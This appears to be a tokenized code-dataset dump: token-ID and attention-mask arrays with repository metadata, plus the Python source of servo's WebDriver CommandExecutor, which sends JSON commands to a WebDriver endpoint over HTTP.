32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2022,
199,
504,
3213,
73,
1490,
63,
3494,
14,
7546,
14,
1001,
492,
4840,
6679,
421,
199,
318,
5461,
63,
10116,
3682,
958,
304,
272,
327,
5289,
5899,
1300,
6170,
3992,
272,
687,
3213,
73,
1490,
63,
973,
14,
751,
14,
1018,
492,
2876,
272,
687,
3213,
73,
1490,
63,
973,
14,
7811,
14,
1462,
14,
7811,
492,
18684,
272,
687,
3213,
73,
1490,
63,
973,
14,
1188,
14,
1462,
14,
1188,
492,
6430,
272,
687,
3213,
73,
1490,
63,
973,
14,
2330,
14,
1462,
14,
1450,
492,
7337,
1931,
272,
687,
3213,
73,
1490,
63,
3494,
14,
1018,
492,
6170,
63,
5189,
272,
485,
20775,
275,
469,
267,
283,
7811,
356,
788,
14499,
995,
267,
283,
1188,
356,
788,
2209,
995,
272,
789,
272,
367,
2883,
315,
485,
20775,
26,
267,
367,
1559,
315,
485,
20775,
59,
1612,
2189,
288,
1022,
478,
275,
6170,
63,
5189,
14,
362,
8,
1113,
9,
288,
340,
440,
1022,
478,
26,
355,
746,
2186,
360,
1018,
1021,
450,
83,
440,
1911,
315,
7086,
7,
450,
1559,
9,
288,
1072,
63,
493,
275,
1543,
83,
3149,
83,
14,
1001,
7,
450,
334,
958,
905,
1199,
63,
515,
2255,
1559,
14,
2325,
1012,
288,
5461,
63,
1080,
63,
4745,
8,
75,
478,
423,
1080,
63,
533,
12,
1072,
63,
493,
9,
421,
199,
318,
5461,
63,
1080,
63,
4745,
8,
75,
478,
12,
1072,
63,
493,
304,
272,
408,
2959,
314,
2022,
5492,
221,
1021,
1041,
339,
333,
275,
1022,
478,
14,
1506,
63,
4745,
1252,
475,
63,
807,
342,
272,
543,
1551,
8,
1199,
63,
493,
12,
283,
87,
358,
465,
289,
26,
267,
289,
14,
952,
8,
1001,
14,
4180,
8,
77,
12,
843,
29,
23069,
12,
2574,
4363,
29,
20,
12,
4069,
63,
1612,
29,
549,
430,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
huonw/servo
|
tests/wpt/web-platform-tests/tools/webdriver/webdriver/command.py
|
258
|
3985
|
"""Dispatches requests to remote WebDriver endpoint."""
import exceptions
import httplib
import json
import urlparse
import webelement
class CommandExecutor(object):
"""Dispatches requests to remote WebDriver endpoint."""
_HEADERS = {
"User-Agent": "Python WebDriver Local End",
"Content-Type": "application/json;charset=\"UTF-8\"",
"Accept": "application/json",
"Accept-Charset": "utf-8",
"Accept-Encoding": "identity",
"Connection": "close",
}
def __init__(self, url, mode='strict'):
self._parsed_url = urlparse.urlparse(url)
self._conn = httplib.HTTPConnection(self._parsed_url.hostname,
self._parsed_url.port)
self._mode = mode
def execute(self,
method,
path,
session_id,
name,
parameters=None,
object_hook=None):
"""Execute a command against the WebDriver endpoint.
Arguments:
method -- one of GET, POST, DELETE
path -- the path of the url endpoint (needs to include
session/<sessionId> if needed)
session_id -- the sessionId to include in the JSON body
name -- name of the command that is being executed to include in
the JSON body
parameters -- the JSON body to send with the command. Only used if
method is POST
object_hook -- function used by json.loads to properly deserialize
objects in the request
"""
if self._mode == 'strict':
return self._execute_strict(
method, path, session_id, name, parameters, object_hook)
elif self._mode == 'compatibility':
return self._execute_compatibility(
method, path, session_id, name, parameters, object_hook)
else:
raise Exception("Unknown mode: " + self._mode)
def _execute_compatibility(self,
method,
path,
session_id,
name,
parameters,
object_hook):
body = {'sessionId': session_id, 'name': name }
if parameters:
body.update(parameters)
self._conn.request(
method,
self._parsed_url.path + path,
json.dumps(body, default = self._json_encode).encode('utf-8'),
self._HEADERS)
resp = self._conn.getresponse()
data = resp.read().decode('utf-8')
if data:
data = json.loads(data, object_hook = object_hook)
if data['status'] != 0:
raise exceptions.create_webdriver_exception_compatibility(
data['status'], data['value']['message'])
return data
if resp.status < 200 or resp.status > 299:
raise exceptions.create_webdriver_exception_compatibility(
resp.status, resp.reason)
def _execute_strict(self,
method,
path,
session_id,
name,
parameters,
object_hook):
body = {
'sessionId': session_id,
'name': name,
'parameters': parameters }
self._conn.request(
method,
self._parsed_url.path + path,
json.dumps(body, default = self._json_encode).encode('utf-8'),
self._HEADERS)
resp = self._conn.getresponse()
data = json.loads(
resp.read().decode('utf-8'), object_hook = object_hook)
if data['status'] != 'success':
raise exceptions.create_webdriver_exception_strict(
data['status'], data['value'])
return data
def _json_encode(self, obj):
return obj.to_json()
|
mpl-2.0
|
[
624,
2825,
11350,
4145,
370,
3982,
27104,
6037,
1041,
199,
199,
646,
4967,
199,
199,
646,
8809,
199,
646,
2022,
199,
646,
7097,
199,
646,
781,
1235,
968,
199,
199,
533,
5817,
16752,
8,
785,
304,
272,
408,
2825,
11350,
4145,
370,
3982,
27104,
6037,
1041,
339,
485,
21178,
275,
469,
267,
298,
1899,
13,
7788,
582,
298,
4718,
27104,
10111,
9599,
401,
267,
298,
2714,
13,
804,
582,
298,
3578,
15,
1001,
27,
6043,
8178,
6610,
13,
24,
60,
5151,
267,
298,
8422,
582,
298,
3578,
15,
1001,
401,
267,
298,
8422,
13,
28200,
582,
298,
1624,
13,
24,
401,
267,
298,
8422,
13,
7630,
582,
298,
5582,
401,
267,
298,
3225,
582,
298,
1600,
401,
267,
789,
339,
347,
636,
826,
721,
277,
12,
1166,
12,
818,
534,
4768,
735,
267,
291,
423,
6751,
63,
633,
275,
7097,
14,
10290,
8,
633,
9,
267,
291,
423,
1631,
275,
8809,
14,
19114,
8,
277,
423,
6751,
63,
633,
14,
4269,
12,
4490,
291,
423,
6751,
63,
633,
14,
719,
9,
267,
291,
423,
632,
275,
818,
339,
347,
5341,
8,
277,
12,
355,
1083,
12,
355,
931,
12,
355,
2351,
63,
344,
12,
355,
536,
12,
355,
2633,
29,
403,
12,
355,
909,
63,
3664,
29,
403,
304,
267,
408,
12049,
282,
1414,
6169,
314,
27104,
6037,
14,
398,
7628,
26,
267,
1083,
1553,
1373,
402,
9576,
12,
8761,
12,
15137,
267,
931,
1553,
314,
931,
402,
314,
1166,
6037,
334,
10065,
370,
2387,
23664,
2351,
8316,
1730,
1304,
30,
340,
4346,
9,
267,
2351,
63,
344,
1553,
314,
2351,
1304,
370,
2387,
315,
314,
4840,
2396,
267,
536,
1553,
536,
402,
314,
1414,
626,
365,
3769,
7934,
370,
2387,
315,
23664,
314,
4840,
2396,
267,
2633,
1553,
314,
4840,
2396,
370,
3222,
543,
314,
1414,
14,
5972,
1202,
340,
881,
1083,
365,
8761,
267,
909,
63,
3664,
1553,
805,
1202,
701,
2022,
14,
3640,
370,
7684,
22920,
881,
2251,
315,
314,
1056,
267,
408,
267,
340,
291,
423,
632,
508,
283,
4768,
356,
288,
372,
291,
423,
2526,
63,
4768,
8,
355,
1083,
12,
931,
12,
2351,
63,
344,
12,
536,
12,
2633,
12,
909,
63,
3664,
9,
267,
916,
291,
423,
632,
508,
283,
15390,
356,
288,
372,
291,
423,
2526,
63,
15390,
8,
355,
1083,
12,
931,
12,
2351,
63,
344,
12,
536,
12,
2633,
12,
909,
63,
3664,
9,
267,
587,
26,
288,
746,
2186,
480,
5912,
818,
26,
298,
435,
291,
423,
632,
9,
339,
347,
485,
2526,
63,
15390,
8,
277,
12,
3044,
1083,
12,
3044,
931,
12,
3044,
2351,
63,
344,
12,
3044,
536,
12,
3044,
2633,
12,
3044,
909,
63,
3664,
304,
267,
2396,
275,
791,
1730,
1304,
356,
2351,
63,
344,
12,
283,
354,
356,
536,
789,
267,
340,
2633,
26,
288,
2396,
14,
873,
8,
3214,
9,
398,
291,
423,
1631,
14,
1069,
8,
288,
1083,
12,
288,
291,
423,
6751,
63,
633,
14,
515,
435,
931,
12,
288,
2022,
14,
4180,
8,
2030,
12,
849,
275,
291,
423,
1001,
63,
2143,
680,
2143,
360,
1624,
13,
24,
659,
288,
291,
423,
21178,
9,
267,
3085,
275,
291,
423,
1631,
14,
25006,
342,
267,
666,
275,
3085,
14,
739,
1252,
2708,
360,
1624,
13,
24,
358,
267,
340,
666,
26,
288,
666,
275,
2022,
14,
3640,
8,
576,
12,
909,
63,
3664,
275,
909,
63,
3664,
9,
288,
340,
666,
459,
1205,
418,
1137,
378,
26,
355,
746,
4967,
14,
981,
63,
17946,
63,
1971,
63,
15390,
8,
490,
666,
459,
1205,
995,
666,
459,
585,
2545,
1188,
1105,
288,
372,
666,
267,
340,
3085,
14,
1205,
665,
1926,
503,
3085,
14,
1205,
690,
32730,
26,
288,
746,
4967,
14,
981,
63,
17946,
63,
1971,
63,
15390,
8,
355,
3085,
14,
1205,
12,
3085,
14,
5764,
9,
339,
347,
485,
2526,
63,
4768,
8,
277,
12,
717,
1083,
12,
717,
931,
12,
717,
2351,
63,
344,
12,
717,
536,
12,
717,
2633,
12,
717,
909,
63,
3664,
304,
267,
2396,
275,
469,
288,
283,
1730,
1304,
356,
2351,
63,
344,
12,
288,
283,
354,
356,
536,
12,
288,
283,
3214,
356,
2633,
789,
267,
291,
423,
1631,
14,
1069,
8,
288,
1083,
12,
288,
291,
423,
6751,
63,
633,
14,
515,
435,
931,
12,
288,
2022,
14,
4180,
8,
2030,
12,
849,
275,
291,
423,
1001,
63,
2143,
680,
2143,
360,
1624,
13,
24,
659,
288,
291,
423,
21178,
9,
267,
3085,
275,
291,
423,
1631,
14,
25006,
342,
267,
666,
275,
2022,
14,
3640,
8,
288,
3085,
14,
739,
1252,
2708,
360,
1624,
13,
24,
659,
909,
63,
3664,
275,
909,
63,
3664,
9,
267,
340,
666,
459,
1205,
418,
1137,
283,
3742,
356,
288,
746,
4967,
14,
981,
63,
17946,
63,
1971,
63,
4768,
8,
355,
666,
459,
1205,
995,
666,
459,
585,
1105,
267,
372,
666,
339,
347,
485,
1001,
63,
2143,
8,
277,
12,
1559,
304,
267,
372,
1559,
14,
475,
63,
1001,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2825,
11350,
4145,
370,
3982,
27104,
6037,
1041,
199,
199,
646,
4967,
199,
199,
646,
8809,
199,
646,
2022,
199,
646,
7097,
199,
646,
781,
1235,
968,
199,
199,
533,
5817,
16752,
8,
785,
304,
272,
408,
2825,
11350,
4145,
370,
3982,
27104,
6037,
1041,
339,
485,
21178,
275,
469,
267,
298,
1899,
13,
7788,
582,
298,
4718,
27104,
10111,
9599,
401,
267,
298,
2714,
13,
804,
582,
298,
3578,
15,
1001,
27,
6043,
8178,
6610,
13,
24,
60,
5151,
267,
298,
8422,
582,
298,
3578,
15,
1001,
401,
267,
298,
8422,
13,
28200,
582,
298,
1624,
13,
24,
401,
267,
298,
8422,
13,
7630,
582,
298,
5582,
401,
267,
298,
3225,
582,
298,
1600,
401,
267,
789,
339,
347,
636,
826,
721,
277,
12,
1166,
12,
818,
534,
4768,
735,
267,
291,
423,
6751,
63,
633,
275,
7097,
14,
10290,
8,
633,
9,
267,
291,
423,
1631,
275,
8809,
14,
19114,
8,
277,
423,
6751,
63,
633,
14,
4269,
12,
4490,
291,
423,
6751,
63,
633,
14,
719,
9,
267,
291,
423,
632,
275,
818,
339,
347,
5341,
8,
277,
12,
355,
1083,
12,
355,
931,
12,
355,
2351,
63,
344,
12,
355,
536,
12,
355,
2633,
29,
403,
12,
355,
909,
63,
3664,
29,
403,
304,
267,
408,
12049,
282,
1414,
6169,
314,
27104,
6037,
14,
398,
7628,
26,
267,
1083,
1553,
1373,
402,
9576,
12,
8761,
12,
15137,
267,
931,
1553,
314,
931,
402,
314,
1166,
6037,
334,
10065,
370,
2387,
23664,
2351,
8316,
1730,
1304,
30,
340,
4346,
9,
267,
2351,
63,
344,
1553,
314,
2351,
1304,
370,
2387,
315,
314,
4840,
2396,
267,
536,
1553,
536,
402,
314,
1414,
626,
365,
3769,
7934,
370,
2387,
315,
23664,
314,
4840,
2396,
267,
2633,
1553,
314,
4840,
2396,
370,
3222,
543,
314,
1414,
14,
5972,
1202,
340,
881,
1083,
365,
8761,
267,
909,
63,
3664,
1553,
805,
1202,
701,
2022,
14,
3640,
370,
7684,
22920,
881,
2251,
315,
314,
1056,
267,
408,
267,
340,
291,
423,
632,
508,
283,
4768,
356,
288,
372,
291,
423,
2526,
63,
4768,
8,
355,
1083,
12,
931,
12,
2351,
63,
344,
12,
536,
12,
2633,
12,
909,
63,
3664,
9,
267,
916,
291,
423,
632,
508,
283,
15390,
356,
288,
372,
291,
423,
2526,
63,
15390,
8,
355,
1083,
12,
931,
12,
2351,
63,
344,
12,
536,
12,
2633,
12,
909,
63,
3664,
9,
267,
587,
26,
288,
746,
2186,
480,
5912,
818,
26,
298,
435,
291,
423,
632,
9,
339,
347,
485,
2526,
63,
15390,
8,
277,
12,
3044,
1083,
12,
3044,
931,
12,
3044,
2351,
63,
344,
12,
3044,
536,
12,
3044,
2633,
12,
3044,
909,
63,
3664,
304,
267,
2396,
275,
791,
1730,
1304,
356,
2351,
63,
344,
12,
283,
354,
356,
536,
789,
267,
340,
2633,
26,
288,
2396,
14,
873,
8,
3214,
9,
398,
291,
423,
1631,
14,
1069,
8,
288,
1083,
12,
288,
291,
423,
6751,
63,
633,
14,
515,
435,
931,
12,
288,
2022,
14,
4180,
8,
2030,
12,
849,
275,
291,
423,
1001,
63,
2143,
680,
2143,
360,
1624,
13,
24,
659,
288,
291,
423,
21178,
9,
267,
3085,
275,
291,
423,
1631,
14,
25006,
342,
267,
666,
275,
3085,
14,
739,
1252,
2708,
360,
1624,
13,
24,
358,
267,
340,
666,
26,
288,
666,
275,
2022,
14,
3640,
8,
576,
12,
909,
63,
3664,
275,
909,
63,
3664,
9,
288,
340,
666,
459,
1205,
418,
1137,
378,
26,
355,
746,
4967,
14,
981,
63,
17946,
63,
1971,
63,
15390,
8,
490,
666,
459,
1205,
995,
666,
459,
585,
2545,
1188,
1105,
288,
372,
666,
267,
340,
3085,
14,
1205,
665,
1926,
503,
3085,
14,
1205,
690,
32730,
26,
288,
746,
4967,
14,
981,
63,
17946,
63,
1971,
63,
15390,
8,
355,
3085,
14,
1205,
12,
3085,
14,
5764,
9,
339,
347,
485,
2526,
63,
4768,
8,
277,
12,
717,
1083,
12,
717,
931,
12,
717,
2351,
63,
344,
12,
717,
536,
12,
717,
2633,
12,
717,
909,
63,
3664,
304,
267,
2396,
275,
469,
288,
283,
1730,
1304,
356,
2351,
63,
344,
12,
288,
283,
354,
356,
536,
12,
288,
283,
3214,
356,
2633,
789,
267,
291,
423,
1631,
14,
1069,
8,
288,
1083,
12,
288,
291,
423,
6751,
63,
633,
14,
515,
435,
931,
12,
288,
2022,
14,
4180,
8,
2030,
12,
849,
275,
291,
423,
1001,
63,
2143,
680,
2143,
360,
1624,
13,
24,
659,
288,
291,
423,
21178,
9,
267,
3085,
275,
291,
423,
1631,
14,
25006,
342,
267,
666,
275,
2022,
14,
3640,
8,
288,
3085,
14,
739,
1252,
2708,
360,
1624,
13,
24,
659,
909,
63,
3664,
275,
909,
63,
3664,
9,
267,
340,
666,
459,
1205,
418,
1137,
283,
3742,
356,
288,
746,
4967,
14,
981,
63,
17946,
63,
1971,
63,
4768,
8,
355,
666,
459,
1205,
995,
666,
459,
585,
1105,
267,
372,
666,
339,
347,
485,
1001,
63,
2143,
8,
277,
12,
1559,
304,
267,
372,
1559,
14,
475,
63,
1001,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
Mausy5043/bonediagd
|
daemon13.py
|
1
|
4546
|
#!/usr/bin/env python
